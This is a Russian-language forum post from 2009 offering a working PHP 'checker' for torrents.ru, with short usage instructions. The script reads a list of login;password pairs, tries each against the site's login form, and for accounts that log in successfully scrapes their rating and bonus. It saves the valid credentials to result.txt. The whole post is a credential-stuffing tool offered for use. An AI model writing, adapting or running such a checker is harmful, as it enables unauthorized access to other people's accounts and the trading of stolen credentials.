Показать сообщение отдельно

  #7  
Старый 26.02.2009, 22:22
MrTrick
Познающий
Регистрация: 08.02.2008
Сообщений: 65
Провел на форуме:
1250736

Репутация: 55
Отправить сообщение для MrTrick с помощью AIM
По умолчанию

torrents ru чекер.

PHP код:








<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  <html xmlns="http://www.w3.org/1999/xhtml">  <head>  <meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />  <title>Torrents.ru Checker</title>  <style type="text/css">  <!--  body {      background-color: #333333;  }  .table {      border-top-color: #000000;      border-right-color: #000000;      border-bottom-color: #000000;      border-left-color: #000000;      font-family: Verdana, Arial, Helvetica, sans-serif;      font-size: 10px;      color: #FFCC00;  }  .style1 {      font-family: Verdana, Arial, Helvetica, sans-serif;      color: #CCCCCC;  }  -->  </style>  </head>  <body>  <h2 align="center" class="style1">:: Torrents.ru Checker ::</h2>  <table width="50%" border="1" align="center" class="table">    <tr>      <td>Login</td>      <td>Password</td>      <td>Rate</td>      <td>Bonus</td>    </tr>    <tr>  <?php  set_time_limit(0);  $url 'http://torrents.ru/forum/login.php';  $ua 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4';  $ref 'http://torrents.ru/forum/index.php';   $fp fopen('result.txt','a');  $accs file('accs.txt');  foreach ($accs as $acc) {  list($login,$pass) = explode(';',$acc);  $post 'login_username='.trim($login).'&login_password='.trim($pass).'&login=%C2%F5%EE%E4';  $ch curl_init($url);      curl_setopt($chCURLOPT_USERAGENT$ua);      curl_setopt($chCURLOPT_COOKIEJAR'./cook');      curl_setopt($chCURLOPT_REFERER$ref);      curl_setopt($chCURLOPT_POST1);      curl_setopt($chCURLOPT_POSTFIELDS$post);      curl_setopt($chCURLOPT_RETURNTRANSFER1);      curl_setopt($chCURLOPT_FOLLOWLOCATION1);  $res curl_exec($ch);  $regxp "#<a href=\"profile\.php\?mode=viewprofile\&amp;u=([0-9]{1,8})\"><b class=\"med\">$login#";  if(preg_match($regxp$res$matches))  {          echo '<td>'.$login.'</b> ID:'.$matches[1].'</td>';          echo str_pad('',1024)."\n";      flush();          echo '<td>'.$pass.'</td>';          echo str_pad('',1024)."\n";      flush();          $url_cp 'http://torrents.ru/forum/profile.php?mode=viewprofile&u='.$matches[1];          $ch curl_init($url_cp);      curl_setopt($chCURLOPT_USERAGENT$ua);      curl_setopt($chCURLOPT_COOKIEFILE'./cook');      curl_setopt($chCURLOPT_REFERER$ref);      curl_setopt($chCURLOPT_RETURNTRANSFER1);      curl_setopt($chCURLOPT_FOLLOWLOCATION0);          $res curl_exec($ch);      if(preg_match('#<b class=\"gen\">([0-9]{1,3}\.[0-9]{1,3})<\/b>#'$res$matches))      {          $rate $matches[1];          echo '<td>Рейтинг:<b> '.$rate.'</b></td>';          echo str_pad('',1024)."\n";      flush();          }  else  {      echo "<td>Произошла ошибка =(</td>";      }      if(preg_match('#<td id=\"u_up_bonus\"><span class=\"editable bold\">(.*?)<\/span>#'$res$matches))      {      $bonus str_replace('&nbsp;','',$matches[1]);      echo str_pad('',1024)."\n";      flush();      echo '<td>Бонус:<b> '.$bonus.'</b></td></tr>';      echo str_pad('',1024)."\n";      flush();      }  else  {      echo '<td>Oшибка сценария</td></tr>';      echo str_pad('',1024)."\n";      flush();  }  }  else      {          echo '<td>Залогиниться не удалось =(</td><td>=(</td><td>=(</td><td>=(</td></tr>';      }   fputs($fptrim($login).':'.trim($pass).' Rate: '.$rate .' Bonus: '.$bonus."\r\n");   }  fclose($fp);  ?>  </table>  </body>  </html>

Скрипт использует либу cURL, для работы нужны логин;пасс список в файле accs.txt, результат выводин в браузер и .тхт файл result.txt, вида:
логин:пароль:рейтинг:бонус

Последний раз редактировалось MrTrick; 26.02.2009 в 22:35..
 
Ответить с цитированием